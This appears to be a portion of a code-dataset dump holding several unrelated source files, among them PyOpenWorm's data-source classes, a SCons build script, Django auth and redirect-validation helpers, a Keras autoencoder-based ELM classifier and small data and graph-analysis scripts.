newdct = dict()\n for z in dct:\n meta = dct[z]\n if isinstance(meta, Informational):\n meta.cls = self\n meta.name = z\n self.__info_fields.append(meta)\n else:\n others.append((z, dct[z]))\n\n for x in bases:\n if isinstance(x, DataSourceType):\n self.__info_fields += [inf.copy() for inf in x.__info_fields]\n\n for k, v in others:\n for i in range(len(self.__info_fields)):\n if self.__info_fields[i].name == k:\n self.__info_fields[i] = self.__info_fields[i].copy()\n self.__info_fields[i].default_override = v\n break\n else: # no 'break'\n newdct[k] = v\n if not getattr(self, '__doc__', None):\n self.__doc__ = self._docstr()\n super(DataSourceType, self).__init__(name, bases, newdct)\n\n def _docstr(self):\n s = ''\n for inf in self.__info_fields:\n s += '{} : :class:`{}`'.format(inf.display_name, inf.property_type) + \\\n ('\\n Attribute: `{}`'.format(inf.name if inf.property_name is None else inf.property_name)) + \\\n (('\\n\\n ' + inf.description) if inf.description else '') + \\\n ('\\n\\n Default value: {}'.format(inf.default_value) if inf.default_value is not None else '') + \\\n '\\n\\n'\n return s\n\n @property\n def info_fields(self):\n return self.__info_fields\n\n\nclass DataSource(six.with_metaclass(DataSourceType, DataObject)):\n '''\n A source for data that can get translated into PyOpenWorm objects.\n\n The value for any field can be passed to __init__ by name. Additionally, if\n the sub-class definition of a DataSource assigns a value for that field like::\n\n class A(DataSource):\n some_field = 3\n\n that value will be used over the default value for the field, but not over\n any value provided to __init__.\n '''\n\n source = Informational(display_name='Input source',\n description='The data source that was translated into this one',\n identifier=URIRef('http://openworm.org/schema/DataSource/source'),\n property_type='ObjectProperty',\n value_type=This)\n\n translation = Informational(display_name='Translation',\n description='Information about the translation process that created this object',\n identifier=URIRef('http://openworm.org/schema/DataSource/translation'),\n property_type='ObjectProperty')\n\n description = Informational(display_name='Description',\n description='Free-text describing the data source')\n\n rdf_namespace = Namespace(\"http://openworm.org/entities/data_sources/DataSource#\")\n\n def __init__(self, **kwargs):\n self.info_fields = OrderedDict((i.name, i) for i in self.__class__.info_fields)\n parent_kwargs = dict()\n new_kwargs = dict()\n for k, v in kwargs.items():\n if k not in self.info_fields:\n parent_kwargs[k] = v\n else:\n new_kwargs[k] = v\n super(DataSource, self).__init__(**parent_kwargs)\n vals = defaultdict(dict)\n for n, inf in self.info_fields.items():\n v = new_kwargs.get(n, None)\n if v is not None:\n vals[n]['i'] = v\n else:\n v = inf.default_value\n\n if inf.default_override is not None:\n vals[n]['e'] = inf.default_override\n\n vals[n]['d'] = inf.default_value\n\n for also in inf.also:\n if v is not None and vals[also.name].setdefault('a', v) != v:\n raise DuplicateAlsoException('Only one also is allowed')\n\n for n, vl in vals.items():\n inf = self.info_fields[n]\n v = vl.get('i', vl.get('e', vl.get('a', vl['d'])))\n\n # Make the POW property\n #\n # We set the name for the property to the inf.name since that's how we access the info on this object, but\n # the inf.property_name is used for the linkName so that the property's URI is generated based on that name.\n # This allows to set an attribute named inf.property_name on self while still having access to the property\n # through inf.name.\n getattr(inf.cls, inf.property_type)(owner=self,\n linkName=inf.property_name,\n multiple=inf.multiple,\n attrName=inf.name,\n **inf.property_args)\n ctxd_prop = getattr(self, inf.name).contextualize(self.context)\n if v is not None:\n ctxd_prop(v)\n\n def commit(self):\n '''\n Commit the data source *locally*\n\n This includes staging files such as they would be available for a translation. In general, a sub-class should\n implement :meth:`commit_augment` rather than this method, or at least call this method via super\n\n For example, if the data source produces a file, that file should be in\n '''\n self.commit_augment()\n\n def commit_augment():\n pass\n\n def defined_augment(self):\n return self.translation.has_defined_value()\n\n def identifier_augment(self):\n return self.make_identifier(self.translation.defined_values[0].identifier.n3())\n\n def __str__(self):\n return self.format_str(False)\n\n def format_str(self, stored):\n try:\n sio = six.StringIO()\n print(self.__class__.__name__, file=sio)\n for info in self.info_fields.values():\n attr = getattr(self, info.name)\n if stored:\n attr_vals = list()\n for x in attr.get():\n if x not in attr_vals:\n attr_vals.append(x)\n else:\n attr_vals = attr.defined_values\n if attr_vals:\n print(' ' + info.display_name, end=': ', file=sio)\n for val in sorted(attr_vals):\n val_line_sep = '\\n ' + ' ' * len(info.display_name)\n if isinstance(val, DataSource):\n valstr = val.format_str(stored)\n elif isinstance(val, GenericTranslation):\n valstr = val.format_str(stored)\n elif isinstance(val, URIRef):\n valstr = val.n3()\n elif isinstance(val, six.string_types):\n valstr = repr(val)\n else:\n valstr = str(val)\n print(val_line_sep.join(valstr.split('\\n')), end=' ', file=sio)\n print(file=sio)\n return sio.getvalue()\n except AttributeError:\n res = super(DataSource, self).__str__()\n L.error('Failed while creating formatting string representation for %s', res)\n return res\n\n\nclass Translation(DataObject):\n \"\"\"\n Representation of the method by which a DataSource was translated and\n the sources of that translation. Unlike the 'source' field attached to\n DataSources, the Translation may distinguish different kinds of input\n source to a translation.\n \"\"\"\n\n translator = ObjectProperty()\n\n def defined_augment(self):\n return self.translator.has_defined_value() and self.translator.onedef().defined\n\n def identifier_augment(self):\n return self.make_identifier(self.translator.onedef().identifier.n3())\n\n\nclass GenericTranslation(Translation):\n \"\"\"\n A generic translation that just has sources in order\n \"\"\"\n\n source = ObjectProperty(multiple=True, value_rdf_type=DataSource.rdf_type)\n\n def defined_augment(self):\n return super(GenericTranslation, self).defined_augment() and \\\n self.source.has_defined_value()\n\n def identifier_augment(self):\n data = super(GenericTranslation, self).identifier_augment().n3() + \\\n \"\".join(sorted(x.identifier.n3() for x in self.source.defined_values))\n return self.make_identifier(data)\n\n def __str__(self):\n return self.format_str(False)\n\n def format_str(self, stored):\n sio = six.StringIO()\n print('{}({})'.format(self.__class__.__name__, self.idl), file=sio)\n sources_field_name = 'Sources: '\n print(sources_field_name, end='', file=sio)\n\n attr = self.source\n if stored:\n attr_vals = list()\n for x in attr.get():\n if x not in attr_vals:\n attr_vals.append(x)\n else:\n attr_vals = attr.defined_values\n\n if attr_vals:\n val_line_sep = '\\n' + len(sources_field_name) * ' '\n print(val_line_sep.join(val_line_sep.join(val.format_str(stored).split('\\n'))\n for val in sorted(attr_vals)), file=sio)\n\n if stored:\n translator = self.translator.one()\n else:\n translator = self.translator.onedef()\n if translator is not None:\n field = \"Translator: \"\n s = ('\\n' + len(field) * ' ').join(str(translator).split('\\n'))\n print(field + s, file=sio)\n return sio.getvalue()\n\n\nclass DataObjectContextDataSource(DataSource):\n def __init__(self, context, **kwargs):\n super(DataObjectContextDataSource, self).__init__(**kwargs)\n if context is not None:\n self.context = context\n else:\n self.context = Context()\n\n\ndef format_types(typ):\n if isinstance(typ, OneOrMore):\n return ':class:`{}` (:class:`{}`)'.format(FCN(OneOrMore), FCN(typ.source_type))\n elif isinstance(typ, type):\n return ':class:`{}`'.format(FCN(typ))\n else:\n return ', '.join(':class:`{}`'.format(FCN(x)) for x in typ)\n\n\nclass DataTransatorType(type(DataObject)):\n def __init__(self, name, bases, dct):\n super(DataTransatorType, self).__init__(name, bases, dct)\n\n if not getattr(self, '__doc__', None):\n self.__doc__ = '''Input type(s): {}\\n\n Output type(s): {}\\n\n URI: {}'''.format(format_types(self.input_type),\n format_types(self.output_type),\n self.translator_identifier)\n\n\nclass BaseDataTranslator(six.with_metaclass(DataTransatorType, DataObject)):\n \"\"\" Translates from a data source to PyOpenWorm objects \"\"\"\n\n input_type = DataSource\n output_type = DataSource\n translator_identifier = None\n translation_type = Translation\n\n def __init__(self, **kwargs):\n if self.translator_identifier is not None and 'ident' not in kwargs:\n super(BaseDataTranslator, self).__init__(ident=self.translator_identifier, **kwargs)\n else:\n super(BaseDataTranslator, self).__init__(**kwargs)\n\n def __call__(self, *args, **kwargs):\n self.output_key = kwargs.pop('output_key', None)\n self.output_identifier = kwargs.pop('output_identifier', None)\n try:\n return self.translate(*args, **kwargs)\n finally:\n self.output_key = None\n self.output_identifier = None\n\n def __str__(self):\n s = '''Input type(s): {}\n Output type(s): {}'''.format(self.input_type,\n self.output_type)\n return FCN(type(self)) + ': \\n ' + ('\\n '.join(x.strip() for x in s.split('\\n')))\n\n def translate(self, *args, **kwargs):\n '''\n Notionally, this method takes a data source, which is translated into\n some other data source. There doesn't necessarily need to be an input\n data source.\n '''\n raise NotImplementedError\n\n def make_translation(self, sources=()):\n '''\n It's intended that implementations of DataTranslator will override this\n method to make custom Translations according with how different\n arguments to Translate are (or are not) distinguished.\n\n The actual properties of a Translation subclass must be defined within\n the 'translate' method\n '''\n return self.translation_type.contextualize(self.context)(translator=self)\n\n def make_new_output(self, sources, *args, **kwargs):\n trans = self.make_translation(sources)\n res = self.output_type.contextualize(self.context)(*args, translation=trans,\n ident=self.output_identifier,\n key=self.output_key, **kwargs)\n for s in sources:\n res.contextualize(self.context).source(s)\n\n return res\n\n\nclass OneOrMore(object):\n \"\"\"\n Wrapper for :class:`DataTranslator` input :class:`DataSource` types indicating that one or more of the wrapped type\n must be provided to the translator\n \"\"\"\n def __init__(self, source_type):\n self.source_type = source_type\n\n def __repr__(self):\n return FCN(type(self)) + '(' + repr(self.source_type) + ')'\n\n\nclass DataTranslator(BaseDataTranslator):\n \"\"\"\n A specialization with the :class:`GenericTranslation` translation type that adds\n sources for the translation automatically when a new output is made\n \"\"\"\n\n translation_type = GenericTranslation\n\n def make_translation(self, sources=()):\n res = super(DataTranslator, self).make_translation(sources)\n for s in sources:\n res.source(s)\n return res\n\n\nclass PersonDataTranslator(BaseDataTranslator):\n \"\"\"\n A person who was responsible for carrying out the translation of a data source\n manually\n \"\"\"\n\n person = ObjectProperty(multiple=True)\n ''' A person responsible for carrying out the translation. '''\n\n # No translate impl is provided here since this is intended purely as a descriptive object\n\n\n__yarom_mapped_classes__ = (Translation, DataSource, DataTranslator,\n BaseDataTranslator, GenericTranslation, PersonDataTranslator)\n","sub_path":"PyOpenWorm/datasource.py","file_name":"datasource.py","file_ext":"py","file_size_in_byte":17238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"464594145","text":"# -*- coding: utf-8 -*-\n#\n# SConstruct script for building MahJong-Night server.\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; version 3 of the License.\n#\n# Author: VestniK (Sergey N.Vidyuk)\n# Date: 18 Jun 2009\nimport os\nfrom checkers import *\n\nBaseEnv = Environment(tools=[],ENV=os.environ)\nBaseEnv['package'] = 'mahjong-night'\nBaseEnv['VERSION'] = '0.0.0svn'\n\nvars = Variables('%s_build.conf'%BaseEnv['PLATFORM'])\nvars.Add('CCFLAGS','Custom C compiler flags','')\nvars.Add('CPPFLAGS','Custom C/C++ preprocessor flags','')\nvars.Add('CXXFLAGS','Custom C++ compiler flags','')\nvars.Add('LINKFLAGS','Custom linker flags','')\nvars.Add('prefix','install prefix','')\nvars.Add('prefix_bin','binaries install prefix','')\nvars.Add('prefix_lib','libraries install prefix','')\nvars.Add('prefix_pc','pkg-config files install prefix','')\nvars.Add('prefix_inc','headers install prefix','')\nvars.Add('prefix_data','package data install prefix','')\nvars.Add('QJson','QJson library path live blank to detect it using pkg-config','')\nvars.Add('QRemoteSignal','QRemoteSignal library path live blank to detect it using pkg-config','')\nvars.Update(BaseEnv)\n# Hack: need to convert flags lists from strings to lists\nBaseEnv['CCFLAGS'] = Split(BaseEnv['CCFLAGS'])\nBaseEnv['CPPFLAGS'] = Split(BaseEnv['CPPFLAGS'])\nBaseEnv['CXXFLAGS'] = Split(BaseEnv['CXXFLAGS'])\nBaseEnv['LINKFLAGS'] = Split(BaseEnv['LINKFLAGS'])\nvars.Save('%s_build.conf'%BaseEnv['PLATFORM'],BaseEnv)\n\nif BaseEnv[\"PLATFORM\"] == 'win32':\n BaseEnv.Tool('mingw')\n BaseEnv['LINKFLAGS']+=['-Wl,-subsystem,windows']\nelse:\n BaseEnv.Tool('default')\nBaseEnv.Tool('qt4')\nBaseEnv.Tool('qrs')\nBaseEnv.Tool('smartinstall')\n\nHelp( vars.GenerateHelpText(BaseEnv) )\n\ntry:\n if BaseEnv['QJson'] != '':\n BaseEnv.Append( LIBPATH=os.path.join(env['QJson'],'lib') )\n BaseEnv.Append( LIBS='qjson' )\n BaseEnv.Append( CPPPATH=os.path.join(env['QJson'],'include') )\n else:\n BaseEnv.ParseConfig('pkg-config --libs --cflags QJson')\n if BaseEnv['QRemoteSignal'] != '':\n BaseEnv.Append( LIBS='QRemoteSignal' )\n BaseEnv.Append( LIBPATH=os.path.join(env['QRemoteSignal'],'lib') )\n BaseEnv.Append( CPPPATH=os.path.join(env['QRemoteSignal'],'include') )\n BaseEnv.Append( CPPPATH=os.path.join(env['QRemoteSignal'],'include','qremotesignal') )\n else:\n BaseEnv.ParseConfig('pkg-config --libs --cflags QRemoteSignal')\nexcept OSError: pass\n\n\nBaseEnv['CXXFILESUFFIX']='.cpp'\nBaseEnv['QT4_UICDECLPREFIX'] = 'ui_'\n\n# Testing configuration\nif not (ARGUMENTS.get('nocheck') or GetOption('clean') or GetOption('help') ) :\n conf = Configure(BaseEnv.Clone(), custom_tests = mjn_tests)\n\n if not conf.CheckCXX(): Exit(1)\n if not conf.CheckQt4Version(\"4.4.0\"): Exit(1)\n if not conf.CheckQt4Tool('moc'): Exit(1)\n if not conf.CheckQt4Tool('uic'): Exit(1)\n if not conf.CheckQt4Module('QtCore'): Exit(1)\n if not conf.CheckQt4Module('QtXml'): Exit(1)\n if not conf.CheckQt4Module('QtNetwork'): Exit(1)\n if not conf.CheckQt4Module('QtGui'): Exit(1)\n if not conf.CheckQt4Module('QtOpenGL'): Exit(1)\n if not conf.CheckQt4Module('QtSvg'): Exit(1)\n if not conf.CheckQt4Module('QtTest'): Exit(1)\n if not conf.CheckLibWithHeader('QRemoteSignal','QRemoteSignal','c++'): Exit(1)\n\n conf.Finish()\n\n# building server\nSrvLib = SConscript( ['server/SConscript'],exports='BaseEnv' )\n# building client\nClientLib = SConscript( ['client/SConscript'],exports='BaseEnv SrvLib' )\n#building tests\nSConscript( ['tests/SConscript'],exports='BaseEnv SrvLib ClientLib' )\n","sub_path":"mahjong-night/SConstruct","file_name":"SConstruct","file_ext":"","file_size_in_byte":3650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"568327975","text":"from foodtaskerapp.models import Customer, Employee\n\ndef create_user_by_type(backend, user, request, response, *args, **kwargs):\n if backend.name == 'facebook':\n avatar = 'https://graph.facebook.com/%s/picture?type=large' % response['id']\n\n if request['user_type'] == 'employee' and not Employee.objects.filter(user_id=user.id):\n Employee.objects.create(user_id=user.id, avatar=avatar)\n elif not Customer.objects.filter(user_id=user.id):\n Customer.objects.create(user_id=user.id, avatar=avatar)\n","sub_path":"foodtaskerapp/social_auth_pipeline.py","file_name":"social_auth_pipeline.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"481274778","text":"import urllib.parse\n\nfrom allauth.account.utils import get_request_param\nimport tldextract\n\nfrom django.conf import settings\nfrom django.utils.module_loading import import_string\nfrom django.utils.http import urlencode\n\n\nClientClass = import_string(settings.DIRECTORY_API_EXTERNAL_CLIENT_CLASS)\napi_client = ClientClass(\n base_url=settings.DIRECTORY_API_EXTERNAL_CLIENT_BASE_URL,\n api_key=settings.DIRECTORY_API_EXTERNAL_SIGNATURE_SECRET,\n)\n\n\ndef get_url_with_redirect(url, redirect_url):\n \"\"\"Adds redirect param to url\"\"\"\n if redirect_url:\n url = url + '?' + urlencode(\n {settings.REDIRECT_FIELD_NAME: redirect_url}\n )\n\n return url\n\n\ndef is_valid_redirect(next_param):\n extracted_domain = tldextract.extract(next_param)\n\n # Allow internal redirects\n is_domain = bool(extracted_domain.domain) and bool(extracted_domain.suffix)\n # NOTE: The extra is_domain check is necessary because otherwise\n # for example ?next=//satan.com would redirect even if\n # satan.com is not an allowed redirect domain\n if next_param.startswith('/') and not is_domain:\n return True\n\n # Otherwise check we allow that domain/suffix\n domain = '.'.join([extracted_domain.domain, extracted_domain.suffix])\n return (domain in settings.ALLOWED_REDIRECT_DOMAINS) or (\n extracted_domain.suffix in settings.ALLOWED_REDIRECT_DOMAINS)\n\n\ndef get_redirect_url(request, redirect_field_name):\n redirect_url = settings.DEFAULT_REDIRECT_URL\n redirect_param_value = get_request_param(request, redirect_field_name)\n if redirect_param_value:\n if is_valid_redirect(urllib.parse.unquote(redirect_param_value)):\n redirect_url = redirect_param_value\n return redirect_url\n","sub_path":"sso/user/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"329596839","text":"# Create your views here.\n\nfrom django.shortcuts import render_to_response\nfrom leika.models import Leika\nimport controller as c\nfrom django.db.models import Q\n#from django.http import HttpResponseRedirect\n\ndef send_url(request): \n return render_to_response('leika/leika-test.html')\n\ndef result(request):\n # err = 0\n err_mess = ''\n url = request.POST.get('url', '')\n desc = request.POST.get('description', '')\n info = {'url': url, 'description': desc, 'user_id': 1}\n c.create_download(info)\n #try:\n #l1 = Leika(status_id = 1, url = url, load_desc = desc)\n #l1.save()\n #err_mess = 'everything allright'\n #except:\n #err_mess = 'error'\n #return render_to_response(\"leika/result.html\", {\n #\"err_mess\": err_mess,\n #\"url\": url,\n #\"desc\": desc,})\n \n return render_to_response(\"leika/result.html\", {\n \"url\": url,\n \"desc\": desc,\n # \"err_mess\": err_mess\n \n }) \n\n \ndef load_list(request):\n err_mess = ''\n active_loads = Leika.objects.filter(Q(status_id = 2) | Q(status_id = 1))\n done_loads = Leika.objects.filter(status_id = 3)\n return render_to_response('leika/leika-filelist.html', {'active_loads': active_loads,\n 'done_loads': done_loads})\n","sub_path":"leika/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"565053253","text":"#encoding:utf-8\nimport urllib\nimport urllib2\nimport json\nimport MySQLdb\ntest_data = {'app_key':'test','app_secret':'test','sign':'331C05A5'}\ntest_data_urlencode = urllib.urlencode(test_data)\n\nrequrl = \"http://yun1.sinopr.org/mall/interface_api/v1/authenticates/get_access_token\"\n\nreq = urllib2.Request(url = requrl,data =test_data_urlencode)\nres_data = urllib2.urlopen(req)\nres = res_data.read()\nb = json.loads(res)\ntoken = b[\"token\"]\n##拿着token去请求商品分类 这个是get请求\nurl = 'http://yun1.sinopr.org/mall/interface_api/v1/categories?access_token='+token\nreq = urllib2.Request(url)\nres_data = urllib2.urlopen(req)\nres = res_data.read()\ncategories = json.loads(res)\npretty=json.dumps(categories['data'],indent=4,sort_keys=False,ensure_ascii=False)\nlist=categories['data']\nsum = 0\nids=[]\nfor index,item in enumerate(list):\n ids.append(item['id'])\n \nprint(ids)\nprint(len(list))\nprint(pretty)","sub_path":"src/goods/getGoodsCategoriesList.py","file_name":"getGoodsCategoriesList.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"386276021","text":"from flask import Flask\nfrom flask import render_template\nfrom pymongo import MongoClient\nimport json\nfrom bson import json_util\nfrom bson.json_util import dumps\n\napp = Flask(__name__)\n\nURI_string = \"mongodb://localhost:27017/\"\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n\n@app.route(\"/Loans/SummerTraining\")\ndef donorschoose_projects():\n connection = MongoClient(URI_string)\n collection = connection[\"loans_data_base\"][\"data\"]\n projects = collection.find( {}, {\"_id\" : False, \"funded_amnt\" : True, \"int_rate\" : True, \"emp_length\" : True,\n \"annual_inc\" : True,\"loan_status\" : True, \"num_sats\" : True, \"last_pymnt_amnt\" : True,\n \"avg_cur_bal\" : True, \"addr_state\" : True }) \n json_projects = []\n for project in projects:\n json_projects.append(project)\n json_projects = json.dumps(json_projects, default=json_util.default)\n connection.close()\n return json_projects\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0',port=5000,debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"357679634","text":"'''\n*** Deep layer stacked autoencoder based ELM ***\nBinary Classification\n\nAuthor :\nPranath Reddy\n2016B5A30572H\n'''\n\nimport pandas as pd\nimport math \nimport numpy as np\nfrom mat4py import loadmat\nimport keras\nfrom keras.models import Sequential\nfrom keras.models import Model\nfrom keras.layers import Dense\nfrom keras.layers import Input\nfrom keras import optimizers\nfrom sklearn.model_selection import train_test_split\n\ndef set(y):\n for i in range(len(y)):\n if(y[i]>0.5):\n y[i] = 1.0\n if(y[i]<=0.5):\n y[i] = 0.0\n return y\n\ndata = loadmat('./data5.mat')\ndata = pd.DataFrame(data)\ndata = np.asarray(data)\n\ndata_temp = []\nfor i in range(len(data)):\n data_temp.append(data[i][0])\n\ndata_temp = np.asarray(data_temp)\ndata = data_temp\ny = data[:,-1]\nx = data[:,:-1]\nx = (x - np.mean(x,axis=0))/np.std(x,axis=0)\nx_tr, x_ts, y_tr, y_ts = train_test_split(x, y, test_size=0.3)\nm = x_tr.shape[0]\nn = x_tr.shape[1]\n\n# Pretraining Models\n# Layer 1\ninput1 = Input(shape = (n, ))\nencoder1 = Dense(120, activation = 'sigmoid')(input1)\ndecoder1 = Dense(n, activation = 'sigmoid')(encoder1)\n\nautoencoder1 = Model(input = input1, output = decoder1)\nencoder_layer1 = Model(input = input1, output = encoder1)\n\n# Layer 2\ninput2 = Input(shape = (120,))\nencoder2 = Dense(100, activation = 'sigmoid')(input2)\ndecoder2 = Dense(120, activation = 'sigmoid')(encoder2)\n\nautoencoder2 = Model(input = input2, output = decoder2)\n\nsgd = optimizers.SGD(lr=0.1)\n\nautoencoder1.compile(loss='binary_crossentropy', optimizer = sgd)\nautoencoder2.compile(loss='binary_crossentropy', optimizer = sgd)\n\nencoder_layer1.compile(loss='binary_crossentropy', optimizer = sgd)\n\nautoencoder1.fit(x_tr, x_tr, epochs= 2000, batch_size = 128, verbose=0)\nlayer2_input = encoder_layer1.predict(x_tr)\nautoencoder2.fit(layer2_input, layer2_input, epochs= 2000, batch_size = 128, verbose=0)\n\nencoder1_sa = Dense(120, activation = 'sigmoid')(input1)\nencoder2_sa = Dense(100, activation = 'sigmoid')(encoder1_sa)\n\nstack_autoencoder = Model(input = input1, output = encoder2_sa)\n\nstack_autoencoder.compile(loss='binary_crossentropy', optimizer = sgd)\n\nstack_autoencoder.layers[1].set_weights(autoencoder1.layers[1].get_weights()) \nstack_autoencoder.layers[2].set_weights(autoencoder2.layers[1].get_weights()) \n\nelm_train_input = stack_autoencoder.predict(x_tr, batch_size=128)\nelm_test_input = stack_autoencoder.predict(x_ts, batch_size=128)\n\n\nfor p in range (250,1001,50):\n #p - no of neurons in hidden layer\n\n randommat = np.random.randn(elm_train_input.shape[1]+1,p)\n H = np.append(np.ones((elm_train_input.shape[0],1)), elm_train_input, axis=1)\n H = np.dot(H,randommat)\n H = np.tanh(H)\n H = np.matrix(H)\n\n y_tr = np.matrix(y_tr)\n W = np.dot(H.I,y_tr.T)\n\n H_ts = np.append(np.ones((elm_test_input.shape[0],1)), elm_test_input, axis=1)\n H_ts = np.dot(H_ts,randommat)\n H_ts = np.tanh(H_ts)\n H_ts = np.matrix(H_ts)\n y_pred = np.dot(H_ts,W)\n\n y_pred_temp = []\n y_pred = np.asarray(y_pred)\n for i in range(y_pred.shape[0]):\n y_pred_temp.append(y_pred[i][0])\n yp = set(y_pred_temp)\n\n y_actual = pd.Series(y_ts, name='Actual')\n y_pred = pd.Series(yp, name='Predicted')\n confmat = pd.crosstab(y_actual, y_pred)\n\n print('Result for hidden neurons : ' + str(p) + ' :')\n print(confmat)\n confmat = np.asarray(confmat)\n tp = confmat[1][1]\n tn = confmat[0][0]\n fp = confmat[0][1]\n fn = confmat[1][0]\n\n Acc = float(tp+tn)/float(tp+tn+fp+fn)\n SE = float(tp)/float(tp+fn)\n SP = float(tn)/float(tn+fp)\n\n print('Accuracy : ' + str(Acc))\n print('sensitivity : ' + str(SE))\n print('specificity : ' + str(SP))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Assignment-2/Q5_2.py","file_name":"Q5_2.py","file_ext":"py","file_size_in_byte":3870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"84845432","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport matplotlib as mpl\nmpl.rcParams['font.sans-serif'] = ['SimHei']\n\n# read_excel API\n# pd.read_excel(io, sheet_name=0, header=\"指定列名字的行\", names=None, index_col=None, usecols=“指定读取的列, eg:[0, 1]”)\ndf = pd.read_excel(\n \"/Users/houjianan/Documents/GitHub/Python/Basic/Charts/test2.xlsx\", sheet_name=\"Sheet1\")\n\n# read the specific line\ndata_line1 = df.loc[0].values # the first line data(line 1)\n\n# read the specific column data\nx = df[\"name\"]\ny = df['age']\n\n# setup the figure\nfig = plt.figure()\nplt.ylim(3, 50)\n\n# plot the histogram\nplt.bar(x, y, alpha=0.5, width=0.3, color='yellow',\n edgecolor='red', label='plot the age figure', lw=1)\n\n# plot the curve figure\nplt.plot(x, y)\n\n# set the legend\nplt.legend(loc='upper left')\nfig.suptitle('example for plot', fontsize=15)\n\nplt.show()\n","sub_path":"开发相关/Python/Basic/Charts/test_chart_xlsx1.py","file_name":"test_chart_xlsx1.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"200679716","text":"from os import listdir\nfrom pickle import dump\nfrom keras.preprocessing.image import load_img\n\nfout = open('valid_img_files.csv','w', encoding='utf-8')\n\ndef extract_valid_filenames(directory):\n\tfor name in listdir(directory):\n\t\t# load an image from file\n\t\tfilename = directory + '/' + name\n\t\tfilename_for_move = directory + '/corrupted/' + name\n\t\ttry:\n\t\t\timage = load_img(filename, target_size=(224, 224))\n\t\texcept Exception:\n\t\t\tprint('>Corrupted file: %s' % filename)\n\t\telse:\n\t\t\tfout.write('%s\\n' % (filename))\n\treturn\n\n\ndirectory = 'D:/DATASET/VRT/train'\nextract_valid_filenames(directory)\n\nfout.close()","sub_path":"VRT/filter_corrupt_images.py","file_name":"filter_corrupt_images.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"527086509","text":"#!/usr/bin/python\n# -*- coding:utf-8 -*-\nimport sys\ncmdArgv = sys.argv\nimport networkx as nx\nimport subprocess\nimport os\n#import sys\n#sys.path.append('./')\n#import example\n\n#从用户纪录中建立用户网络,一天内连接过同一个ap的用户之间建立一条边,\ndef graph(edges,nodes):\n G = nx.Graph()\n f1 = open(edges,'r')\n f2 = open(nodes,'r')\n for l in f1.readlines():\n l = l.strip('\\n')\n l = l.split(',')\n G.add_edge(l[0],l[1])\n for l in f2.readlines():\n l = l.strip('\\n')\n G.add_node(l)\n f1.close()\n f2.close()\n\n numNodes = G.number_of_nodes()\n numEdges = G.number_of_edges()\n if(int(numNodes)==0 or int(numEdges)== 0):\n return \"0 nodes\"\n else:\n #numEdges = str(G.number_of_edges())\n avgCC = str(nx.average_clustering(G))\n density = str(nx.density(G))\n #print numNodes\n #print numEdges\n #print avgCC\n #print density\n degree = 0\n for v in nx.degree(G).values():\n degree += int(v)\n #print degree/float(numNodes)\n avgDegree = str(degree/float(numNodes))\n #diam = []\n pathLength = []\n for g in nx.connected_component_subgraphs(G):\n if(g.number_of_nodes() > 1):\n pathLength.append(nx.average_shortest_path_length(g))\n #print max(pathLength)\n if(len(pathLength)!=0):\n maxPathLen = str(max(pathLength))\n else:\n maxPathLen = str(0)\n s = str(numNodes)+','+str(numEdges)+','+avgCC+','+density+','+avgDegree+','+maxPathLen\n return s\n\nif __name__==\"__main__\":\n '''\n fr2 = open('safe_wifi_poi_sample’,'r')\n poiDict = {}\n for l in fr2.readlines():\n l = l.strip('\\n')\n l = l.split('|')\n mac = l[1]\n #lon = l[2]\n #lat = l[3]\n loc = l[12]\n if(len(l) == 15):\n if !(loc in poiDict.keys()):\n '''\n\n fr = open(cmdArgv[1],'r')\n fw = open(cmdArgv[2],'w')\n\n s1 = \"../data/201503\";\n s2 = \"/safe_wifi_connect_sample_export\";\n file = cmdArgv[3] #poiloc\n s3 = cmdArgv[4] #nodes\n s4 = cmdArgv[5] #edges\n\n for l in fr.readlines():\n l = l.strip('\\n')\n l = l.split()\n location = l[0]\n fw.write(l[1]+'\\n')\n #print location\n #ret=subprocess.call('awk -F\"|\" -v arr=${location} '{if($(NF-2)==arr)print $2}' safe_wifi_poi_sample > poiloc',shell=True)\n os.environ['location']=str(location)\n os.environ['file']=str(file)\n os.system(\"sh mysh.sh $location $file\")\n\n for i in range(16,23):\n s = s1+str(i)+s2\n # example.fact(s)\n # print s\n os.environ['s']=str(s)\n os.environ['s3']=str(s3)\n os.environ['s4']=str(s4)\n os.system(\"sh mysh3.sh $s $s3 $s4 $file\")\n result = graph(s4,s3)\n fw.write(result+'\\n')\n\n fw.close()\n fr.close()\n","sub_path":"myPy.py","file_name":"myPy.py","file_ext":"py","file_size_in_byte":2945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"519980315","text":"import os 